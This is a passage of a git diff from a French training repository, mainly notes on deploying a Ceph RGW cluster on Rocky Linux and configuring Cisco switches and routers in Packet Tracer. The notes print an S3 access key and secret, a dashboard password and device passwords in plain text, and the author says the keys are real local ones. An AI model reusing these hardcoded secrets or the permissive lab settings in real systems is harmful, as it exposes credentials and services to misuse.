firewall-cmd --reload +sudo firewall-cmd --get-zones + +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-interface=bond0 +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-service=ssh + +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-port=80/tcp +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-port=443/tcp +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-port=3300-3303/tcp +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-port=6789/tcp +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-port=6800-7300/tcp +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-port=7480/tcp +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-port=8443/tcp + +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-port=123/udp +sudo firewall-cmd --permanent --zone=ceph-mcs2025 --add-port=6800-7300/udp + +sudo firewall-cmd --reload +``` + +Et on vérifie : +``` +sudo firewall-cmd --info-zone=ceph-mcs2025 +``` + + + +### 3. Installer et configurer Ceph + +#### A. Choix du Ceph + +On a décidé d'utiliser RGW pour diverses raisons : +1. c'est celui que nous connaissons le moins (raison éducative) +2. c'est un système basé sur une technologie qui devient un standard nuagique (avec AWS S3 repris même par les concurrents) +3. parce que pourquoi pas + +#### B. Préparation des noeuds + +[CEPH - cephadm](https://docs.ceph.com/en/squid/cephadm/) | [CEPH - Host Management](https://docs.ceph.com/en/squid/cephadm/host-management/) + +- Installer `cephadm` version **`squid`** (*les deux dernières, `latest` et `tentacles` étant non stabilisées*) +- Déployer le moniteur **MON** et gestionnaire **MGR** sur le premier noeud, ajout des deux autres comme **OSD** + +Sur les trois noeuds : +``` +sudo dnf install -y centos-release-ceph-squid +sudo dnf install -y cephadm + +# Pour les dépendances liées au déploiement de configurations +sudo dnf install -y python3-yaml python3-jinja2 +``` + +Sur les deux noeuds OSD : +``` +sudo cephadm add-repo --release squid +sudo cephadm install ceph-common +``` + + + + + + + +Bootstrap du cluster sur le noeud principal : +``` +sudo cephadm bootstrap \ +--mon-ip 10.0.10.11 \ +--allow-fqdn-hostname \ +--initial-dashboard-user admin \ +--initial-dashboard-password 'Dashboard123!' + + # Copie de la clef publique du MON/MGR sur les OSD +ssh-copy-id -f -i /etc/ceph/ceph.pub root@10.0.10.12 +ssh-copy-id -f -i /etc/ceph/ceph.pub root@10.0.10.13 + + # Vérification +sudo ceph orch host ls +``` + + + + + +Copie de la configuration du MON/MGR sur les OSD : +``` +scp /etc/ceph/ceph.conf root@10.0.10.12:/etc/ceph/ +scp /etc/ceph/ceph.conf root@10.0.10.13:/etc/ceph/ +scp /etc/ceph/ceph.client.admin.keyring root@10.0.10.12:/etc/ceph/ +scp /etc/ceph/ceph.client.admin.keyring root@10.0.10.13:/etc/ceph/ +ssh root@10.0.10.12 "chmod 600 /etc/ceph/*.keyring && chmod 644 /etc/ceph/ceph.conf" +ssh root@10.0.10.13 "chmod 600 /etc/ceph/*.keyring && chmod 644 /etc/ceph/ceph.conf" +``` + + + +Ajout des hôtes dans le cluster **Ceph** : +``` +sudo ceph orch host add osd1 10.0.10.12 +sudo ceph orch host add osd2 10.0.10.13 +``` + + + +[Ajout des **OSD** dans le cluster :](https://docs.ceph.com/en/squid/cephadm/services/osd/) +``` +sudo ceph orch device ls + +# Si on veut tout asservir sans distinction +sudo ceph orch apply osd --all-available-devices + +# Si on veut asservir un panel précis de volumes +sudo ceph orch daemon add osd monmgr:/dev/sdb +sudo ceph orch daemon add osd osd1:/dev/sdb +sudo ceph orch daemon add osd osd2:/dev/sdb +``` + + + +#### C. Déployer le service RGW + +https://docs.ceph.com/en/squid/radosgw/ +https://docs.ceph.com/en/squid/radosgw/s3/ + +- Créer un *daemon* RGW avec `ceph orch apply rgw` +- Configurer le domaine S3, clefs d'accès et politiques des seaux + +[Déploiement du service RGW :](https://docs.ceph.com/en/latest/cephadm/services/rgw/) +``` +sudo ceph orch apply rgw rgw-mcs \ +--realm=realm-mcs \ +--zone=zone-mcs \ +--placement="2 osd1 osd2" + +# Ou en version "triviale" +sudo ceph orch apply rgw rgw-mcs +``` + +Vérifier l'intégrité du cluster RGW : +``` +sudo ceph orch ps --daemon_type rgw +``` + + + +[Créer un admin S3 :](https://docs.ceph.com/en/squid/man/8/radosgw-admin/) +``` +sudo dnf install -y epel-release +sudo dnf install -y ceph-radosgw + +sudo radosgw-admin user create --uid=egf2025 --display-name="EstGauFlo 2025" +``` + + + +Modifier le ceph.conf : +``` +sudo nano /etc/ceph/ceph.conf + [client.radosgw.gateway] + host = [monmgr, osd1, osd2] + keyring = /etc/ceph/ceph.client.radosgw.gateway.keyring + rgw_frontends = "beast port=7480" + +sudo systemctl start ceph-radosgw@rgw.gateway + +sudo nano /etc/ceph/ceph.client.radosgw.keyring + [client.admin] + key = ******* + caps mds = "allow *" + caps mgr = "allow *" + caps mon = "allow *" + caps osd = "allow *" +``` + +Vérifier la santé du cluster Ceph : +``` +sudo ceph -s +sudo ceph health detail +``` + + +Configurer l'accès S3 : +``` +sudo dnf install -y awscli + +aws configure set aws_access_key_id XXOKHTFX8OUAW4YEFBVT +aws configure set aws_secret_access_key b3Cn2vYARkbnGWlPVdCg16ZYUZ3IczXC4SvtBBMy +aws s3 ls --endpoint-url http://10.0.10.11:7480 +``` + +##### Notes sur le précédent bloc +Ca ne sert à rien de copier le couple ID-Clef, ce sont des utilisateurs locaux, mais ce sont bien des vraies. On sait ce qu'on fait présentement, mais il est évident qu'on ne fait jamais ça en production. + +La solution de niveau 1 c'est d'utiliser une variable d'environnement temporaire (`AWS_ID="XXOKHTFX8OUAW4YEFBVT"` et ensuite appeler avec un `$AWS_ID` dans le shell pour une expiration à déconnexion), et la solution de niveau 2 serait de déployer un serveur Consul/Vault sur le réseau pour gérer des secrets. + +Vérifications : + + + + + +Et ensuite faire un test de téléversement dans un seau S3 avec la [documentation officielle](https://docs.aws.amazon.com/cli/latest/reference/s3/) + +``` +aws s3 cp ./fichier s3://bucket/ --endpoint-url http://10.0.10.11:7480 +``` + + + +#### D. (Bonus) Vérifier sur le Dashboard + +Nous avons rajouté dans le réseau NAT (mais pas le Ceph) une machine tierce avec interface graphique, Rocky Linux ou Debian pour se connecter sur le dashboard : + + + + + + + + + +### 4. Cisco Packet Tracer + +#### A. Créer la topologie en GUI + +- VLAN unique pour les 3 +- Switchs Layer 2 (un ou plusieurs) + + + +#### B. Créer la topologie en CLI + +Création des LAGs : + +``` +enable + conf t + interface range fa0/[1-7]-[3-9] + channel-group [1,2,3] mode active + no shutdown + end +write memory +``` + + + +Créer les VLAN : +``` +enable + conf t + vlan 10 + name CephCluster + exit + interface fa0/24 + switchport mode access + switchport access vlan 10 + no shutdown + exit + interface port-channel [1,2,3] + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10 + no shutdown + end +write memory +``` + + + +[Créer la passerelle HSRP sur les routeurs :](https://routeur.clemanet.com/hsrp-cisco.php) +``` +enable + conf t + ip routing + interface Gig0/0/1.10 + encapsulation dot1q 10 + ip address 10.0.10.[2,3] 255.255.255.0 + standby 1 ip 10.0.10.1 + standby 1 priority [100, 150] + standby 1 preempt + no shutdown + end +show standby +write memory +``` + + + + + +Et on vérifie par un PING d'un OSD à un autre : + + + +Et on teste avec un routeur éteint : + + + +#### C. Sécurisation + +https://www.cisco.com/c/deleteme/sec/b_1710_sec_9300_cg/port_security.html + +- Limiter le *MAC-address learning* +- Activer *port-security* en mettant 1 dresse MAC maximum +- Configurer les ports d'administration (console/VTY) avec authentification locale +- Activer le SSH sur les switchs avec restriction aux adresses du VLAN +- Autoriser le trafic Ceph, IMCP et SNMP uniquement depuis les adresses de gestion + +Sécurité des ports : +``` +enable + conf t + interface range fa0/#-# // ports non utilisés + shutdown + exit + interface range fa0/#-# // ports en usage + switchport port-security + switchport port-security maximum 1 + switchport port-security violation restrict + switchport port-security mac-address sticky +``` + + + +Activer le SSH : +``` +ip domain-name mcs2025.local +username admin secret mcs2025 +crypto key generate rsa general-keys modulus 2048 +ip ssh version 2 +``` + + + +Protection par mot de passe : +``` +enable + conf t + enable password encryption + line console 0 + password CisCanne + login local + line vty 0 4 + login local + transport input ssh + enable secret Conf-Iture + end +write memory +``` + + + + + +ACL pour le trafic Ceph : +``` +ip access-list extended CEPH-ALLOW + permit tcp any any eq 80 + permit tcp any any eq 443 + permit tcp any any eq 6789 + permit tcp any any eq 7480 + permit tcp any any eq 8443 + permit tcp any any range 3300 3303 + permit tcp any any range 6800 7300 + permit udp any any range 6800 7300 + permit icmp any any + permit udp any any eq 161 + deny ip any any +``` + + + +# Liens utiles + +## Bibliographie +### Ceph +[Tutoriel Scaleway d'un cluster Ceph](https://www.scaleway.com/en/docs/tutorials/ceph-cluster/) + +[Tutoriel d'installer Ceph sur Rocky Linux](https://www.linkedin.com/pulse/step-by-step-instructions-install-ceph-rocky-linux-saman-salamat/) + +[Configuration RGW sur RedHat](https://docs.redhat.com/de/documentation/red_hat_ceph_storage/3/html/object_gateway_guide_for_red_hat_enterprise_linux/rgw-configuration-reference-rgw) + +[Cephadm pour RGW](https://docs.ceph.com/en/reef/cephadm/services/rgw/) + +[Déployer Ceph sur Rocky Linux 9](https://random-it-blog.de/ceph/ceph-storage-cluster-deployment-on-rocky-linux-9-centos-9/) + +### Pare-feu Rocky +[Mettre en place FirewallD](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-using-firewalld-on-rocky-linux-8) + +[Ports pour cluster Ceph](https://docs.redhat.com/en/documentation/red_hat_ceph_storage/5/html/configuration_guide/ceph-firewall-ports_conf) + +[FirewallD par Stéphane Robert](https://blog.stephane-robert.info/docs/securiser/reseaux/firewalld/) + +### Détails sur la configuration +["Beast" pour RadosGW](https://documentation.suse.com/fr-fr/ses/7.1/single-html/ses-admin/book-storage-admin.html#config-ogw) + +## Ressources +[Rocky Linux](https://rockylinux.org/fr-FR/download) diff --git a/Semaine_03/Jour_01.md b/Semaine_03/Jour_01.md new file mode 100644 index 0000000..f6c5511 --- /dev/null +++ b/Semaine_03/Jour_01.md @@ -0,0 +1,12 @@ +# Projet 1 + +## Enoncé + +Mettre en place une infrastructure : +- serveurs sur VirtualBox +- appareils réseaux sur Cisco Packet Tracer + +### Système + +- 3 VMs Rocky Linux => 9 faisant un cluster sous CEPH (CephFS, RBD, RGW au choix). +- Pare-feu natif à la famille de distribution des règles autorisant les noeuds à se "parler en Ceph", le tout dans une "zone" dédiée, avec interface virtuelle dédiée à cette zone. Cette interface virtuelle est composée de 2 interfaces réseau physiques réunies dans un bonding (avec l'hyperviseur, en accès par pont + réseau NAT, mais PAS en NAT) \ No newline at end of file diff --git a/Semaine_03/Semaine_03_CEPH_Network.pkt b/Semaine_03/Semaine_03_CEPH_Network.pkt new file mode 100644 index 0000000..f7ccc19 Binary files /dev/null and b/Semaine_03/Semaine_03_CEPH_Network.pkt differ diff --git a/Semaine_03/Semaine_03_Examen.pdf b/Semaine_03/Semaine_03_Examen.pdf new file mode 100644 index 0000000..504b7bf Binary files /dev/null and b/Semaine_03/Semaine_03_Examen.pdf differ diff --git a/Semaine_03/Énoncé MCS.pdf b/Semaine_03/Énoncé MCS.pdf new file mode 100644 index 0000000..100389a Binary files /dev/null and b/Semaine_03/Énoncé MCS.pdf differ diff --git a/Semaine_04/Bases/.python-version b/Semaine_04/Bases/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_04/Bases/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_04/Bases/README.md b/Semaine_04/Bases/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_04/Bases/main.py b/Semaine_04/Bases/main.py new file mode 100644 index 0000000..c83e1ef --- /dev/null +++ b/Semaine_04/Bases/main.py @@ -0,0 +1,5 @@ +prenom = "Alice" +nom = "Dupont" +age = 30 + +print(prenom) \ No newline at end of file diff --git a/Semaine_04/Bases/pyproject.toml b/Semaine_04/Bases/pyproject.toml new file mode 100644 index 0000000..a11d538 --- /dev/null +++ b/Semaine_04/Bases/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "bases" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "requests>=2.32.5", +] diff --git a/Semaine_04/Bases/uv.lock b/Semaine_04/Bases/uv.lock new file mode 100644 index 0000000..5b0839f --- /dev/null +++ b/Semaine_04/Bases/uv.lock @@ -0,0 +1,113 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "bases" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "requests" }, +] + +[package.metadata] +requires-dist = [{ name = "requests", specifier = ">=2.32.5" }] + +[[package]] +name = "certifi" +version = "2026.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" }, + { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" }, + { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" }, + { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" }, + { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" }, + { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" }, + { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" }, + { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" }, + { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" }, + { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" }, + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" }, + { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" }, + { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" }, + { url = 